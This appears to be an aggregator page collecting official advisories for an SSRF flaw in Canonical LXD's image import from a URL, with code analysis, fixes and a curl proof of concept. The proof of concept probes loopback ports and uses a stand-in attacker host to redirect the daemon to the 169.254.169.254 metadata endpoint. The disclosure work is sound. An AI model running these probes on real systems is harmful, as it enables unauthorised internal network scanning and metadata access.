SSRF via image import from URL allows internal network probing by authenticated users

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

In Canonical LXD versions 4.12 through 6.9, a Server-Side Request Forgery (SSRF) vulnerability in the image import functionality allows authenticated users with the can_create_images entitlement to interact with internal network infrastructure via the /images endpoint. When importing an image from a URL source, the LXD daemon fails to validate or restrict outbound destination IP addresses, allowing connections to loopback, RFC1918 private ranges, and cloud metadata endpoints. This enables error-based port scanning and unauthorized interaction with internal HTTP services from the daemon's network position.

Source published

26 Jun 2026 16:23:56 UTC

Source modified

26 Jun 2026 17:13:58 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

LXD: SSRF via image import from URL allows internal network probing by authenticated users

Source published

Nov 6, 2026, 6:29:18 PM (timezone not stated)

Source modified

Nov 6, 2026, 6:29:18 PM (timezone not stated)

Observed here

6 Nov 2026 19:05:39 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

In Canonical LXD versions 4.12 through 6.9, a Server-Side Request Forgery (SSRF) vulnerability in the image import functionality allows authenticated users with the can_create_images entitlement to interact with internal network infrastructure via the /images endpoint. When importing an image from a URL source, the LXD daemon fails to validate or restrict outbound destination IP addresses, allowing connections to loopback, RFC1918 private ranges, and cloud metadata endpoints. This enables error-based port scanning and unauthorized interaction with internal HTTP services from the daemon's network position.

Source published

26 Jun 2026 17:16:32 UTC

Source modified

25 Oct 2026 17:10:00 UTC

Observed here

6 Nov 2026 19:05:15 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

## Summary The LXD image import-from-URL endpoint (`POST /1.0/images` with `source.type=url`) makes server-side HTTP requests to an attacker-supplied URL without any private-IP or loopback blocking. An authenticated user with the `can_create_images` entitlement can force the LXD daemon to connect to internal network addresses (127.0.0.1, RFC1918 ranges, cloud metadata endpoints), enabling port scanning via error-based inference and interaction with internal HTTP services from the daemon's privileged network position. ## Severity - **Attack Vector:** Network — LXD API is network-accessible. - **Attack Complexity:** Low — Single crafted API request with no special conditions. - **Privileges Required:** Low — Requires `can_create_images` entitlement, a non-admin permission commonly delegated to regular users. - **User Interaction:** None. - **Scope:** Changed — The attacker leverages LXD's privileged network position to probe and interact with internal services that are outside the attacker's direct network access and outside the scope of LXD's image management authorization. - **Confidentiality Impact:** Low — Error messages reveal internal port states (open/closed/filtered) and service availability. Response bodies from internal services are NOT returned to the attacker (hash validation blocks content exfiltration). - **Integrity Impact:** None — No demonstrated ability to modify data on internal services. - **Availability Impact:** None — No meaningful resource exhaustion or denial of service. ## Affected Component - `lxd/images.go` — `imgPostURLInfo` (lines 668–755) — Makes HEAD request to user-supplied URL without any SSRF protections. - `lxd/util/http.go` — `HTTPClient` (lines 102–147) — Creates HTTP client with no IP blocking or URL validation. - `shared/network.go` — `RFC3493Dialer` (lines 20–49) — Dials arbitrary hosts including private/loopback ranges. - `lxd/daemon_images.go` — `ImageDownload` (lines 478–510, "direct" case) — Makes GET request to URL from attacker-controlled response header. ## Description ### Core vulnerability: no SSRF protections on server-side image fetching When a user imports an image from a URL, the `imgPostURLInfo` function makes an HTTP HEAD request directly to the user-supplied URL with zero validation: ```go // lxd/images.go:668-703 func imgPostURLInfo(ctx context.Context, s *state.State, req api.ImagesPost, ...) (*api.Image, error) { if req.Source.URL == "" { return nil, errors.New("Missing URL") } myhttp, err := util.HTTPClient("", s.Proxy) // ... // Resolve the image URL head, err := http.NewRequest("HEAD", req.Source.URL, nil) // No URL validation, no scheme check, no IP range check // ... raw, err := myhttp.Do(head) // Makes request to arbitrary destination ``` The HTTP client is created via `util.HTTPClient` which uses `shared.RFC3493Dialer` — a standard dialer with zero private-IP filtering: ```go // shared/network.go:20-49 func RFC3493Dialer(context context.Context, network string, address string) (net.Conn, error) { host, port, err := net.SplitHostPort(address) // ... addrs, err := net.LookupHost(host) // ... for _, a := range addrs { c, err := net.DialTimeout(network, net.JoinHostPort(a, port), 10*time.Second) // No check: IsLoopback? IsPrivate? IsLinkLocalUnicast? // Connects to ANY resolved address including 127.0.0.1, 10.x.x.x, 169.254.169.254 ``` The HTTP client also follows redirects unconditionally: ```go // lxd/util/http.go:139-144 myhttp.CheckRedirect = func(req *http.Request, via []*http.Request) error { // Replicate the headers req.Header = via[len(via)-1].Header return nil // Always follows redirects — no destination validation } ``` ### No SSRF protections exist anywhere in the codebase An exhaustive search for private-IP checks (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`), URL allowlists, or SSRF-specific protections found **zero results** in any HTTP client or outbound request path. The codebase has no SSRF defense infrastructure. ### Chained SSRF via `LXD-Image-URL` response header After the HEAD request, the `LXD-Image-URL` response header is used as the target for a second HTTP GET request, creating a chained SSRF: ```go // lxd/images.go:705-725 hash := raw.Header.Get("LXD-Image-Hash") // Attacker controls this url := raw.Header.Get("LXD-Image-URL") // Attacker controls this info, err := ImageDownload(ctx, s, op, &ImageDownloadArgs{ Server: url, // Attacker-controlled URL from response header Protocol: "direct", // Forces unprotected direct HTTP GET Alias: hash, // Attacker-controlled hash // ... }) ``` In `ImageDownload`, the "direct" case makes a GET to the attacker-controlled URL: ```go // lxd/daemon_images.go:478-510 case "direct": httpClient, err := util.HTTPClient(args.Certificate, s.Proxy) // ... req, err := http.NewRequest(http.MethodGet, args.Server, nil) // args.Server = attacker URL // ... raw, doneCh, err := cancel.CancelableDownload(canceler, httpClient.Do, req) ``` This means an attacker who controls the HEAD target can redirect the second GET request to any internal service. The response body is downloaded to disk but hash validation prevents the attacker from reading it: ```go // lxd/daemon_images.go:541-544 result := hex.EncodeToString(sha256.Sum(nil)) if result != fp { return nil, fmt.Errorf("Hash mismatch for %q: %s != %s", args.Server, result, fp) } ``` ### Error observability enables port scanning Errors from the outbound request propagate back to the caller via the operation result: ```go // lxd/operations/operations.go:612-614 if op.err != nil { retOp.Err = response.SmartError(op.err).String() } ``` The error messages differ based on the target's state: - **Port open**: `"Missing LXD-Image-Hash header"` (HEAD succeeded, response had no expected headers) - **Port closed**: `"connection refused"` (connection rejected immediately) - **Port filtered/host unreachable**: `"context deadline exceeded"` / `"no route to host"` (timeout or routing error) These differences allow systematic port scanning of internal networks from the LXD daemon's network position. ### Execution chain 1. Attacker sends `POST /1.0/images` with `{"source":{"type":"url","url":"http://127.0.0.1:6379/"}}` 2. `imagesPost` handler verifies `can_create_images` entitlement (line 1163) 3. Background operation calls `imgPostURLInfo` (line 1361) 4. `imgPostURLInfo` creates HTTP client via `util.HTTPClient` — no SSRF protections (line 675) 5. HEAD request to `http://127.0.0.1:6379/` — no IP validation (line 700) 6. `RFC3493Dialer` resolves `127.0.0.1` and dials it — no private-IP check (line 33) 7. Error or response propagated back via operation (line 612-614 in operations.go) 8. Attacker queries operation result via `GET /1.0/operations/{id}/wait` and reads the error message For chained SSRF: 1. Attacker points `source.url` to their own server 2. Their server responds with `LXD-Image-Hash: <any>` and `LXD-Image-URL: http://169.254.169.254/latest/meta-data/` 3. LXD makes GET to `http://169.254.169.254/...` (line 493 in daemon_images.go) 4. Response body downloaded but hash validation prevents content exfiltration 5. Error messages still reveal whether the internal service responded (200 vs error) ## Proof of Concept ```bash # Safe PoC: force daemon to connect to loopback port 1 (closed port). # Error message will confirm server-side request occurred. SOCK=/var/lib/lxd/unix.socket # Create the operation OP=$(curl -s --unix-socket "$SOCK" \ -H 'Content-Type: application/json' \ -X POST http://localhost/1.0/images \ -d '{"source":{"type":"url","url":"http://127.0.0.1:1/"}}' \ | sed -n 's/.*"operation":"\([^"]*\)".*/\1/p') # Wait for result — expect "connection refused" confirming SSRF curl -s --unix-socket "$SOCK" "http://localhost${OP}/wait" # Response will contain error with "connection refused" — confirms # the daemon made a server-side connection to 127.0.0.1:1 # Port scanning: compare errors for open vs closed ports # Open port (e.g., LXD's own API on 8443): curl -s --unix-socket "$SOCK" \ -H 'Content-Type: application/json' \ -X POST http://localhost/1.0/images \ -d '{"source":{"type":"url","url":"https://127.0.0.1:8443/"}}' # Expect: "Missing LXD-Image-Hash header" (connection succeeded, got HTTP response) # Closed port: curl -s --unix-socket "$SOCK" \ -H 'Content-Type: application/json' \ -X POST http://localhost/1.0/images \ -d '{"source":{"type":"url","url":"http://127.0.0.1:9999/"}}' # Expect: "connection refused" (port not open) # Cloud metadata probe (chained SSRF): # Step 1: Set up attacker server that responds to HEAD with: # LXD-Image-Hash: deadbeef # LXD-Image-URL: http://169.254.169.254/latest/meta-data/ # Step 2: Point LXD at attacker server: curl -s --unix-socket "$SOCK" \ -H 'Content-Type: application/json' \ -X POST http://localhost/1.0/images \ -d '{"source":{"type":"url","url":"http://attacker.example.com/ssrf"}}' # LXD will make GET to http://169.254.169.254/latest/meta-data/ ``` ## Impact - **Internal network port scanning**: Authenticated users can systematically probe internal networks reachable from the LXD host, identifying open services via error-based inference. - **Cloud metadata access**: In cloud deployments (AWS, GCP, Azure), the daemon can be directed to connect to metadata endpoints (169.254.169.254), potentially triggering metadata interactions from the host's privileged network context. - **Internal service interaction**: The daemon makes real HTTP HEAD and GET requests to internal services, which could trigger side effects on services that process GET/HEAD requests. - **Network topology disclosure**: Error messages and timing differences reveal internal network structure, reachable hosts, and open ports. - **Chained SSRF amplification**: The `LXD-Image-URL` response header enables attackers to redirect the daemon's second HTTP GET request to any internal destination, doubling the attack surface. ## Recommended Remediation ### Option 1: Private-IP blocking in `RFC3493Dialer` (preferred — defense at lowest layer) Add IP range validation in the shared dialer so ALL outbound HTTP requests from LXD are protected: ```go // shared/network.go import "net/netip" // isBlockedAddress returns true if the address is in a private, loopback, // or link-local range that should not be reachable via user-supplied URLs. func isBlockedAddress(ip string) bool { addr, err := netip.ParseAddr(ip) if err != nil { return true // Block unparseable addresses } return addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() } // RFC3493DialerNoSSRF is a variant of RFC3493Dialer that blocks connections // to private/loopback/link-local addresses. func RFC3493DialerNoSSRF(context context.Context, network string, address string) (net.Conn, error) { host, port, err := net.SplitHostPort(address) if err != nil { return nil, err } addrs, err := net.LookupHost(host) if err != nil { return nil, err } var errs []error for _, a := range addrs { if isBlockedAddress(a) { errs = append(errs, fmt.Errorf("connection to private/loopback address %s is not allowed", a)) continue } c, err := net.DialTimeout(network, net.JoinHostPort(a, port), 10*time.Second) if err != nil { errs = append(errs, err) continue } tc, ok := c.(*net.TCPConn) if ok { _ = tc.SetKeepAlive(true) _ = tc.SetKeepAlivePeriod(3 * time.Second) } return c, nil } return nil, fmt.Errorf("%s: %s (%v)", connectErrorPrefix, address, errs) } ``` Then use `RFC3493DialerNoSSRF` in `util.HTTPClient` when the caller is handling user-supplied URLs. ### Option 2: URL validation in `imgPostURLInfo` (complementary) Add scheme and destination validation at the handler level as defense-in-depth: ```go // lxd/images.go — in imgPostURLInfo, before the HEAD request parsed, err := url.Parse(req.Source.URL) if err != nil { return nil, fmt.Errorf("Invalid URL: %w", err) } if parsed.Scheme != "http" && parsed.Scheme != "https" { return nil, fmt.Errorf("Unsupported URL scheme %q: only http and https are allowed", parsed.Scheme) } // Also validate the LXD-Image-URL from the response header before passing to ImageDownload url := raw.Header.Get("LXD-Image-URL") if url != "" { parsedRedirect, err := url.Parse(url) // Apply same scheme and IP validation } ``` Both options should be applied together. Option 1 protects all HTTP clients at the network layer (including the chained SSRF). Option 2 provides clear error messages and catches issues before a connection is attempted. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai). ## Mitigation and additional fixes In addition to the Image Registries feature in LXD 6.10 to resolve the main issue above we are also introducing a related change in LXD 6.8 to prevent the use of `pull` migration mode when migrating instances and volumes into restricted projects. In these circumstances one should use `push` or `relay` mode. The documentation has also been updated to cover setting up an HTTP/HTTPS proxy in order to allow policy to be applied to control which remote image URLs can be used. https://canonical.com/lxd/docs/latest/howto/security_harden/#restrict-outbound-requests

Source published

6 Nov 2026 18:29:18 UTC

Source modified

6 Nov 2026 18:45:04 UTC

Observed here

6 Nov 2026 19:05:05 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Publisher rating · MODERATE